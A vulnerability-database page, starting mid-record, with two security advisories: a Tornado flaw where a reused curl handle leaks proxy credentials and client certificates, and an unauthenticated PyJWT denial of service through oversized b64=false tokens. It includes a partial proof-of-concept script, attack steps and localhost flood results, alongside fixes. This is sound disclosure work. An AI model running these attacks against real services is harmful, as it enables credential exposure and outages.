proxy_port=proxy_a.port,\n proxy_username=\"alice\", proxy_password=\"secretA\",\n request_timeout=5, connect_timeout=5), raise_error=False)\n await client.fetch(HTTPRequest(\n \"http://target.example/b\",\n proxy_host=\"127.0.0.1\", proxy_port=proxy_b.port,\n request_timeout=5, connect_timeout=5), raise_error=False)\n await asyncio.sleep(0.2)\n client.close()\n finally:\n proxy_a.stop()\n proxy_b.stop()\n\n a = proxy_authz(proxy_a.captures[0]) if proxy_a.captures else None\n b = proxy_authz(proxy_b.captures[0]) if proxy_b.captures else None\n expected = \"Basic \" + base64.b64encode(b\"alice:secretA\").decode()\n\n print(f\"{\u0027request\u0027:\u003c42}{\u0027Proxy-Authorization seen by that proxy\u0027}\")\n print(f\"{\u0027-\u0027 * 42}{\u0027-\u0027 * 40}\")\n print(f\"{\u0027A -\u003e proxy A (alice:secretA specified)\u0027:\u003c42}{a or \u0027(none)\u0027}\")\n print(f\"{\u0027B -\u003e proxy B (NO credentials specified)\u0027:\u003c42}{b or \u0027(none)\u0027}\")\n print()\n if b and expected in b:\n print(f\"VERDICT: VULNERABLE \u2014 proxy B received alice\u0027s credentials \"\n f\"({expected}) although request B specified no proxy_username.\")\n return 0\n print(f\"VERDICT: not reproduced (proxy B saw: {b!r})\")\n return 2\n\n\nif __name__ == \"__main__\":\n sys.exit(asyncio.run(main()))\n```\n\nOutput (`YWxpY2U6c2VjcmV0QQ==` decodes to `alice:secretA`):\n\n```\nrequest Proxy-Authorization seen by that proxy\n----------------------------------------------------------------------------------\nA -\u003e proxy A (alice:secretA specified) Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==\nB -\u003e proxy B (NO credentials specified) Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==\n\nVERDICT: VULNERABLE \u2014 proxy B received alice\u0027s credentials (Basic\nYWxpY2U6c2VjcmV0QQ==) although request B specified no proxy_username.\n```\n\n## Impact\n\n* **Type:** Exposure of credentials to an unintended party (CWE-200), via reuse\n of a resource whose sensitive state was not cleared (CWE-672).\n* **Actors:** An application that issues requests with differing per-request\n options on a shared `CurlAsyncHTTPClient` \u2014 for Vector A, mixing per-request\n `client_cert` requests with non-certificate requests; for Vector B,\n multiplexing requests across more than one proxy with per-proxy credentials.\n* **Effect:** For Vector A, the client completes the TLS client-authentication\n handshake \u2014 proving possession of the private key and disclosing the\n certificate subject and chain \u2014 to a host that was never meant to receive it.\n For Vector B, proxy basic-auth credentials are transmitted (base64) to a\n different proxy. If the unintended host/proxy is attacker-controlled or\n attacker-influenced (a user-supplied URL, webhook target, SSRF-reachable\n endpoint, or a proxy chosen from user-controlled configuration), the credential\n is disclosed to the attacker.\n* **Scope:** Only applications using the optional `CurlAsyncHTTPClient` backend\n with the patterns above are affected. The default `SimpleAsyncHTTPClient` is not\n affected (and does not support proxies).\n\nProposed CWE: CWE-200 / CWE-672. Proposed CVSS 3.1:\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N` (5.9, medium); attack complexity is\nHigh because exploitation depends on the application using differing per-request\noptions on a shared client and on handle scheduling.\n\n## Mitigation\n\nA single fix closes all instances of this class: call `curl.reset()` at the start\nof `_curl_setup_request` and then re-apply the per-request options, so no state\nfrom a prior request can persist on the reused handle. (Note `curl.reset()` also\nclears `CAINFO`, which the current code intentionally leaves untouched \u2014 see the\ncomment at lines 401-409 \u2014 so that default would need to be re-established after\nthe reset.)\n\nAlternatively, add explicit clearing branches mirroring the existing\n`PROXYUSERPWD`/`USERPWD` handling:\n\n```python\n# client certificate\nif request.client_cert is not None:\n curl.setopt(pycurl.SSLCERT, request.client_cert)\nelse:\n curl.unsetopt(pycurl.SSLCERT)\nif request.client_key is not None:\n curl.setopt(pycurl.SSLKEY, request.client_key)\nelse:\n curl.unsetopt(pycurl.SSLKEY)\n\n# proxy credentials (inside the `if request.proxy_host and request.proxy_port:` branch)\nif request.proxy_username:\n ...\n curl.setopt(pycurl.PROXYUSERPWD, credentials)\nelse:\n curl.unsetopt(pycurl.PROXYUSERPWD)\n\n# network interface\nif request.network_interface:\n curl.setopt(pycurl.INTERFACE, request.network_interface)\nelse:\n curl.unsetopt(pycurl.INTERFACE)\n```\n\nUntil a fix is available, use a separate `CurlAsyncHTTPClient` instance per\ndistinct credential set (per client certificate / per proxy credential), or use\n`SimpleAsyncHTTPClient` where applicable.",
"id": "GHSA-pw6j-qg29-8w7f",
"modified": "2026-06-15T20:37:24Z",
"published": "2026-06-15T20:37:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tornadoweb/tornado/security/advisories/GHSA-pw6j-qg29-8w7f"
},
{
"type": "PACKAGE",
"url": "https://github.com/tornadoweb/tornado"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Tornado: CurlAsyncHTTPClient leaks per-request credentials on handle reuse"
}
GHSA-W7VC-732C-9M39
Vulnerability from github – Published: 2026-06-15 19:29 – Updated: 2026-06-15 19:29[!NOTE] Practical impact depends on whether request body-size limits are enforced upstream (proxy/web-server/framework). Deployments with typical body-size caps (≤2 MB) bound the amplifier significantly; deployments accepting larger token inputs are more exposed.
When verifying detached JWS tokens using the unencoded-payload option ("b64": false, RFC 7797), PyJWT performs Base64URL decoding of the compact-serialization payload segment before enforcing the detached-payload rules.
For b64=false, PyJWT later discards that decoded payload and replaces it with the caller-provided detached_payload. In practice, this turns the middle segment into an attacker-controlled “work amplifier”: a remote client can supply an arbitrarily large Base64URL payload segment that forces CPU work + memory allocations even if the signature is invalid.
This creates an unauthenticated DoS vector against any endpoint that verifies detached JWS using PyJWT.
Affected Component(s)
-
jwt/api_jws.py -
PyJWS.decode()/PyJWS.decode_complete() _load()(parsing and Base64URL decoding)
Root Cause (exact logic flaw)
What happens in the code
In jwt/api_jws.py, decode_complete() does the following (order matters):
- Calls
_load(jwt)first, which decodes the token segments - Only after that, checks
header.get("b64")and ifFalse, it replacespayload = detached_payloadand rebuilds the signing input
This behavior is visible in decode_complete():
_load(jwt)happens before theb64=falsehandling- then
payload = detached_payloadandsigning_input = ... detached_payloadhappens afterward ([GitHub][1])
Inside _load(), PyJWT unconditionally performs:
payload = base64url_decode(payload_segment)This is the expensive step the attacker can amplify ([GitHub][1])
Why this becomes a vulnerability
For b64=false detached JWS, the payload segment in compact form is effectively not needed for verification in PyJWT’s own logic (since the library uses detached_payload as the real payload). Yet PyJWT still decodes it first, meaning:
- cost is paid even when signature is invalid
- the decoded bytes are discarded
- attacker controls the size of this cost via token length
Impact (evidence-driven)
Security impact
- Unauthenticated remote DoS: decoding work happens before signature rejection → attacker does not need signing key.
- CPU amplification: Base64URL decode time scales linearly with payload segment size.
- Memory amplification: decoded output allocates large byte buffers (tens of MB per request).
- Operational impact: request queueing / worker starvation under modest concurrency bursts.
Standards context (RFC 7797)
RFC 7797 explicitly notes this option is used when payload is large and/or detached, and discusses interoperability requirements around marking it critical (“crit” with “b64”). ([IETF Datatracker][2])
(PyJWT supports crit validation, but the issue here is decode order / unbounded decode of an unused segment.)
Affected Versions
- Confirmed affected: PyJWT 2.12.1 (tested from your local editable install and repo).
- Likely affected: all versions that include detached payload support for JWS decoding, which was introduced in 2.4.0 (“Add detached payload support for JWS encoding and decoding”). ([pyjwt.readthedocs.io][3])
(For GHSA, this phrasing is strong: “confirmed” + “likely since feature introduction”.)
Threat Model
Typical real deployment
A service verifies signed HTTP requests or webhooks using detached JWS:
- token is provided in JSON body / query / header
- actual payload is the HTTP request body passed as
detached_payload
Attacker
- remote unauthenticated client
- can send requests to verify endpoint
- does not need a valid signature (invalid signature still triggers the expensive decode path)
Attack chain
- Attacker crafts a JWS compact token with header containing
"b64": falseandcrit:["b64"]. - Attacker inflates the payload segment (middle segment) to millions of Base64URL characters.
- Server calls
PyJWS.decode(...detached_payload=...). - PyJWT decodes the inflated segment (CPU + memory).
- Signature is rejected afterward (401) — but resources already consumed.
- Repeated requests or bursts cause queueing/worker starvation → DoS.
Proof of Concept - file names + results
PoC placement
PoC # 1 - Localhost verification server
File: server_localhost.py
Purpose: real HTTP endpoint (POST /verify) that calls PyJWT detached verification and prints:
ok / time_ms / peak_bytes / token_len / error.
Results (server console output)
[+] Listening on http://127.0.0.1:8000
[+] POST /verify JSON: {"token": "..."}
[127.0.0.1] ok=True time_ms=0.102 peak_bytes=2624 token_len=117 err=None
[127.0.0.1] ok=False time_ms=2.012 peak_bytes=2000983 token_len=500078 err=InvalidSignatureError
[127.0.0.1] ok=True time_ms=1.591 peak_bytes=2001061 token_len=500117 err=None
[127.0.0.1] ok=True time_ms=0.065 peak_bytes=2304 token_len=117 err=None
[127.0.0.1] ok=False time_ms=7.534 peak_bytes=8000983 token_len=2000078 err=InvalidSignatureError
[127.0.0.1] ok=True time_ms=6.347 peak_bytes=8001061 token_len=2000117 err=None
[127.0.0.1] ok=True time_ms=0.066 peak_bytes=2304 token_len=117 err=None
[127.0.0.1] ok=False time_ms=23.034 peak_bytes=32000983 token_len=8000078 err=InvalidSignatureError
[127.0.0.1] ok=True time_ms=22.097 peak_bytes=32001061 token_len=8000117 err=None
Key takeaways from these results
-
At 8,000,000 chars, a single invalid-signature request still causes:
-
~23 ms server work
- ~32 MB peak allocations
- returns 401 (invalid signature) → attacker does not need key.
PoC # 2 - Localhost network client
File: client_localhost.py Purpose: generates baseline + (invalid signature) + (valid signature) tokens and sends them over HTTP to localhost server.
Results (client output)
payload-chars = 500,000
=== BASELINE (valid b64=false token) ===
HTTP: 200
client_wall_ms: 6.3499...
server_time_ms: 0.10197...
server_peak_bytes: 2624
=== ATTACK (INVALID signature - attacker needs no key) ===
HTTP: 401
client_wall_ms: 4.1010...
server_time_ms: 2.01217...
server_peak_bytes: 2000983
error: InvalidSignatureError
=== ATTACK (VALID signature - accepted path still wastes) ===
HTTP: 200
client_wall_ms: 3.6586...
server_time_ms: 1.59092...
server_peak_bytes: 2001061
payload-chars = 2,000,000
=== BASELINE ===
HTTP: 200
server_time_ms: 0.06527...
server_peak_bytes: 2304
=== ATTACK (INVALID signature) ===
HTTP: 401
server_time_ms: 7.53430...
server_peak_bytes: 8000983
=== ATTACK (VALID signature) ===
HTTP: 200
server_time_ms: 6.34682...
server_peak_bytes: 8001061
payload-chars = 8,000,000
=== BASELINE ===
HTTP: 200
server_time_ms: 0.06573...
server_peak_bytes: 2304
=== ATTACK (INVALID signature) ===
HTTP: 401
server_time_ms: 23.03403...
server_peak_bytes: 32000983
=== ATTACK (VALID signature) ===
HTTP: 200
server_time_ms: 22.09702...
server_peak_bytes: 32001061
Why this is strong evidence
- The server clearly does heavy work before rejecting invalid signatures.
- The “valid signature” case shows even accepted requests waste resources due to unused payload segment.
PoC # 3 - Localhost flood / burst concurrency
File: flood_localhost.py Purpose: sends N concurrent invalid-signature requests over HTTP to demonstrate queueing/worker starvation.
Results (your run: 20 concurrent @ 8,000,000 chars)
total_wall_ms: 1374.5405770000616
(16, 401, 1156.4504789998864, 21.350951999920653, 32000983, 'InvalidSignatureError')
(19, 401, 1151.2852699997893, 21.208721999755653, 32000983, 'InvalidSignatureError')
(18, 401, 1102.7211239997996, 21.685218999664357, 32000983, 'InvalidSignatureError')
(13, 401, 1102.0718189997751, 21.26572200040755, 32000983, 'InvalidSignatureError')
(11, 401, 1095.9345460000804, 20.586017000368884, 32000983, 'InvalidSignatureError')
(17, 401, 1085.2552810001725, 22.893039000337012, 32000983, 'InvalidSignatureError')
(10, 401, 1078.3629560000918, 22.737160999895423, 32000983, 'InvalidSignatureError')
(7, 401, 1048.2011740000416, 22.476282000297942, 32000983, 'InvalidSignatureError')
(8, 401, 378.93017700025666, 21.377330999712285, 32000983, 'InvalidSignatureError')
(1, 401, 281.45106800002395, 21.34223099983501, 32000983, 'InvalidSignatureError')
Interpretation
- Each request still costs ~20–23 ms server processing and ~32 MB peak allocations.
- But client-observed latency rises up to ~1.15 seconds because requests queue behind each other → clear worker starvation/HoL blocking.
- All were rejected with 401 InvalidSignatureError → still unauthenticated.
Fix
Goal
Prevent unbounded resource consumption from an attacker-controlled payload segment that is unused in b64=false detached flow.
Minimal change strategy
In _load() (or by refactoring parse order), do not Base64-decode payload_segment until after you know whether b64=false applies.
Two safe options:
-
Reject non-empty payload segment when
b64=false -
Parse header first
- If
b64is false andpayload_segmentis non-empty → raiseDecodeErrorbefore decoding -
Then verification uses
detached_payloadonly -
Skip decoding payload segment entirely when
b64=false -
Keep payload segment as raw bytes or empty
- Use detached payload for signing input
This aligns with the idea that detached payload is the trusted payload input for verification; the compact payload segment should not become a resource amplification vector.
(Implementation context: the current decode order and unconditional base64url_decode(payload_segment) are visible in the file and line region around _load() and decode_complete() ([GitHub][1]).)
Workarounds
- Enforce strict max token length at the HTTP boundary (proxy/gateway).
- Apply rate limiting on verification endpoints.
- If detached JWS (
b64=false) is not needed in your app, reject tokens where header includes"b64": false.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.12.1"
},
"package": {
"ecosystem": "PyPI",
"name": "pyjwt"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.13.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48525"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T19:29:12Z",
"nvd_published_at": "2026-05-28T16:16:29Z",
"severity": "MODERATE"
},
"details": "\u003e [!NOTE]\n\u003e Practical impact depends on whether request body-size limits are enforced upstream (proxy/web-server/framework). Deployments with typical body-size caps (\u22642 MB) bound the amplifier significantly; deployments accepting larger token inputs are more exposed.\n\nWhen verifying detached JWS tokens using the unencoded-payload option (`\"b64\": false`, RFC 7797), PyJWT performs **Base64URL decoding of the compact-serialization payload segment** *before* enforcing the detached-payload rules.\n\nFor `b64=false`, PyJWT later **discards** that decoded payload and replaces it with the caller-provided `detached_payload`. In practice, this turns the middle segment into an attacker-controlled \u201cwork amplifier\u201d: a remote client can supply an arbitrarily large Base64URL payload segment that forces **CPU work + memory allocations** even if the signature is invalid.\n\nThis creates an **unauthenticated DoS** vector against any endpoint that verifies detached JWS using PyJWT.\n\n---\n\n## Affected Component(s)\n\n* `jwt/api_jws.py`\n\n * `PyJWS.decode()` / `PyJWS.decode_complete()`\n * `_load()` (parsing and Base64URL decoding)\n\n---\n\n## Root Cause (exact logic flaw)\n\n### What happens in the code\n\nIn `jwt/api_jws.py`, `decode_complete()` does the following (order matters):\n\n* Calls `_load(jwt)` first, which decodes the token segments\n* Only after that, checks `header.get(\"b64\")` and if `False`, it replaces `payload = detached_payload` and rebuilds the signing input\n\nThis behavior is visible in `decode_complete()`:\n\n* `_load(jwt)` happens **before** the `b64=false` handling\n* then `payload = detached_payload` and `signing_input = ... detached_payload` happens afterward ([GitHub][1])\n\nInside `_load()`, PyJWT unconditionally performs:\n\n* `payload = base64url_decode(payload_segment)`\n This is the expensive step the attacker can amplify ([GitHub][1])\n\n### Why this becomes a vulnerability\n\nFor `b64=false` detached JWS, the payload segment in compact form is effectively **not needed** for verification in PyJWT\u2019s own logic (since the library uses `detached_payload` as the real payload). Yet PyJWT still decodes it first, meaning:\n\n* cost is paid **even when signature is invalid**\n* the decoded bytes are **discarded**\n* attacker controls the size of this cost via token length\n\n---\n\n## Impact (evidence-driven)\n\n### Security impact\n\n* **Unauthenticated remote DoS**: decoding work happens before signature rejection \u2192 attacker does not need signing key.\n* **CPU amplification**: Base64URL decode time scales linearly with payload segment size.\n* **Memory amplification**: decoded output allocates large byte buffers (tens of MB per request).\n* **Operational impact**: request queueing / worker starvation under modest concurrency bursts.\n\n### Standards context (RFC 7797)\n\nRFC 7797 explicitly notes this option is used when payload is large and/or detached, and discusses interoperability requirements around marking it critical (\u201ccrit\u201d with \u201cb64\u201d). ([IETF Datatracker][2])\n(PyJWT supports `crit` validation, but the issue here is decode order / unbounded decode of an unused segment.)\n\n---\n\n## Affected Versions\n\n* **Confirmed affected:** PyJWT **2.12.1** (tested from your local editable install and repo).\n* **Likely affected:** all versions that include detached payload support for JWS decoding, which was introduced in **2.4.0** (\u201cAdd detached payload support for JWS encoding and decoding\u201d). ([pyjwt.readthedocs.io][3])\n\n(For GHSA, this phrasing is strong: \u201cconfirmed\u201d + \u201clikely since feature introduction\u201d.)\n\n---\n\n# Threat Model \n\n### Typical real deployment\n\nA service verifies signed HTTP requests or webhooks using detached JWS:\n\n* token is provided in JSON body / query / header\n* actual payload is the HTTP request body passed as `detached_payload`\n\n### Attacker\n\n* remote unauthenticated client\n* can send requests to verify endpoint\n* does **not** need a valid signature (invalid signature still triggers the expensive decode path)\n\n### Attack chain\n\n1. Attacker crafts a JWS compact token with header containing `\"b64\": false` and `crit:[\"b64\"]`.\n2. Attacker inflates the **payload segment** (middle segment) to millions of Base64URL characters.\n3. Server calls `PyJWS.decode(...detached_payload=...)`.\n4. PyJWT decodes the inflated segment (CPU + memory).\n5. Signature is rejected afterward (401) \u2014 but resources already consumed.\n6. Repeated requests or bursts cause queueing/worker starvation \u2192 DoS.\n\n---\n\n# Proof of Concept - file names + results\n\n## PoC placement \n\n* [server_localhost.py](https://github.com/user-attachments/files/26132755/server_localhost.py)\n\n* [client_localhost.py](https://github.com/user-attachments/files/26132757/client_localhost.py)\n\n* [flood_localhost.py](https://github.com/user-attachments/files/26132760/flood_localhost.py)\n\n\n---\n\n## PoC # 1 - Localhost verification server\n\n**File:** [server_localhost.py](https://github.com/user-attachments/files/26132755/server_localhost.py)\n\n**Purpose:** real HTTP endpoint (`POST /verify`) that calls PyJWT detached verification and prints:\n`ok / time_ms / peak_bytes / token_len / error`.\n\n### Results (server console output)\n\n```text\n[+] Listening on http://127.0.0.1:8000\n[+] POST /verify JSON: {\"token\": \"...\"}\n\n[127.0.0.1] ok=True time_ms=0.102 peak_bytes=2624 token_len=117 err=None\n[127.0.0.1] ok=False time_ms=2.012 peak_bytes=2000983 token_len=500078 err=InvalidSignatureError\n[127.0.0.1] ok=True time_ms=1.591 peak_bytes=2001061 token_len=500117 err=None\n\n[127.0.0.1] ok=True time_ms=0.065 peak_bytes=2304 token_len=117 err=None\n[127.0.0.1] ok=False time_ms=7.534 peak_bytes=8000983 token_len=2000078 err=InvalidSignatureError\n[127.0.0.1] ok=True time_ms=6.347 peak_bytes=8001061 token_len=2000117 err=None\n\n[127.0.0.1] ok=True time_ms=0.066 peak_bytes=2304 token_len=117 err=None\n[127.0.0.1] ok=False time_ms=23.034 peak_bytes=32000983 token_len=8000078 err=InvalidSignatureError\n[127.0.0.1] ok=True time_ms=22.097 peak_bytes=32001061 token_len=8000117 err=None\n```\n\n**Key takeaways from these results**\n\n* At **8,000,000 chars**, a single invalid-signature request still causes:\n\n * **~23 ms** server work\n * **~32 MB** peak allocations\n * returns **401** (invalid signature) \u2192 attacker does not need key.\n\n---\n\n## PoC # 2 - Localhost network client\n\n**File:** [client_localhost.py](https://github.com/user-attachments/files/26132757/client_localhost.py)\n**Purpose:** generates baseline + (invalid signature) + (valid signature) tokens and sends them over HTTP to localhost server.\n\n### Results (client output)\n\n#### payload-chars = 500,000\n\n```text\n=== BASELINE (valid b64=false token) ===\nHTTP: 200\nclient_wall_ms: 6.3499...\nserver_time_ms: 0.10197...\nserver_peak_bytes: 2624\n\n=== ATTACK (INVALID signature - attacker needs no key) ===\nHTTP: 401\nclient_wall_ms: 4.1010...\nserver_time_ms: 2.01217...\nserver_peak_bytes: 2000983\nerror: InvalidSignatureError\n\n=== ATTACK (VALID signature - accepted path still wastes) ===\nHTTP: 200\nclient_wall_ms: 3.6586...\nserver_time_ms: 1.59092...\nserver_peak_bytes: 2001061\n```\n\n#### payload-chars = 2,000,000\n\n```text\n=== BASELINE ===\nHTTP: 200\nserver_time_ms: 0.06527...\nserver_peak_bytes: 2304\n\n=== ATTACK (INVALID signature) ===\nHTTP: 401\nserver_time_ms: 7.53430...\nserver_peak_bytes: 8000983\n\n=== ATTACK (VALID signature) ===\nHTTP: 200\nserver_time_ms: 6.34682...\nserver_peak_bytes: 8001061\n```\n\n#### payload-chars = 8,000,000\n\n```text\n=== BASELINE ===\nHTTP: 200\nserver_time_ms: 0.06573...\nserver_peak_bytes: 2304\n\n=== ATTACK (INVALID signature) ===\nHTTP: 401\nserver_time_ms: 23.03403...\nserver_peak_bytes: 32000983\n\n=== ATTACK (VALID signature) ===\nHTTP: 200\nserver_time_ms: 22.09702...\nserver_peak_bytes: 32001061\n```\n\n**Why this is strong evidence**\n\n* The server clearly does heavy work **before** rejecting invalid signatures.\n* The \u201cvalid signature\u201d case shows even accepted requests waste resources due to unused payload segment.\n\n---\n\n## PoC # 3 - Localhost flood / burst concurrency\n\n**File:** [flood_localhost.py](https://github.com/user-attachments/files/26132760/flood_localhost.py)\n**Purpose:** sends **N concurrent** invalid-signature requests over HTTP to demonstrate queueing/worker starvation.\n\n### Results (your run: 20 concurrent @ 8,000,000 chars)\n\n```text\ntotal_wall_ms: 1374.5405770000616\n\n(16, 401, 1156.4504789998864, 21.350951999920653, 32000983, \u0027InvalidSignatureError\u0027)\n(19, 401, 1151.2852699997893, 21.208721999755653, 32000983, \u0027InvalidSignatureError\u0027)\n(18, 401, 1102.7211239997996, 21.685218999664357, 32000983, \u0027InvalidSignatureError\u0027)\n(13, 401, 1102.0718189997751, 21.26572200040755, 32000983, \u0027InvalidSignatureError\u0027)\n(11, 401, 1095.9345460000804, 20.586017000368884, 32000983, \u0027InvalidSignatureError\u0027)\n(17, 401, 1085.2552810001725, 22.893039000337012, 32000983, \u0027InvalidSignatureError\u0027)\n(10, 401, 1078.3629560000918, 22.737160999895423, 32000983, \u0027InvalidSignatureError\u0027)\n(7, 401, 1048.2011740000416, 22.476282000297942, 32000983, \u0027InvalidSignatureError\u0027)\n(8, 401, 378.93017700025666, 21.377330999712285, 32000983, \u0027InvalidSignatureError\u0027)\n(1, 401, 281.45106800002395, 21.34223099983501, 32000983, \u0027InvalidSignatureError\u0027)\n```\n\n**Interpretation**\n\n* Each request still costs ~**20\u201323 ms** server processing and **~32 MB** peak allocations.\n* But client-observed latency rises up to **~1.15 seconds** because requests queue behind each other \u2192 clear worker starvation/HoL blocking.\n* All were rejected with **401 InvalidSignatureError** \u2192 still unauthenticated.\n\n---\n\n# Fix \n\n### Goal\n\nPrevent unbounded resource consumption from an attacker-controlled payload segment that is unused in `b64=false` detached flow.\n\n### Minimal change strategy\n\nIn `_load()` (or by refactoring parse order), **do not Base64-decode `payload_segment` until after you know whether `b64=false` applies**.\n\nTwo safe options:\n\n1. **Reject non-empty payload segment when `b64=false`**\n\n * Parse header first\n * If `b64` is false and `payload_segment` is non-empty \u2192 raise `DecodeError` *before* decoding\n * Then verification uses `detached_payload` only\n\n2. **Skip decoding payload segment entirely when `b64=false`**\n\n * Keep payload segment as raw bytes or empty\n * Use detached payload for signing input\n\nThis aligns with the idea that detached payload is the trusted payload input for verification; the compact payload segment should not become a resource amplification vector.\n\n(Implementation context: the current decode order and unconditional `base64url_decode(payload_segment)` are visible in the file and line region around `_load()` and `decode_complete()` ([GitHub][1]).)\n\n---\n\n# Workarounds\n\n* Enforce strict **max token length** at the HTTP boundary (proxy/gateway).\n* Apply rate limiting on verification endpoints.\n* If detached JWS (`b64=false`) is not needed in your app, reject tokens where header includes `\"b64\": false`.",
"id": "GHSA-w7vc-732c-9m39",
"modified": "2026-06-15T19:29:12Z",
"published": "2026-06-15T19:29:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-w7vc-732c-9m39"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48525"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-178.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "PyJWT: Unauthenticated DoS via unbounded Base64URL decoding of unused payload segment in b64=false detached JWS"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.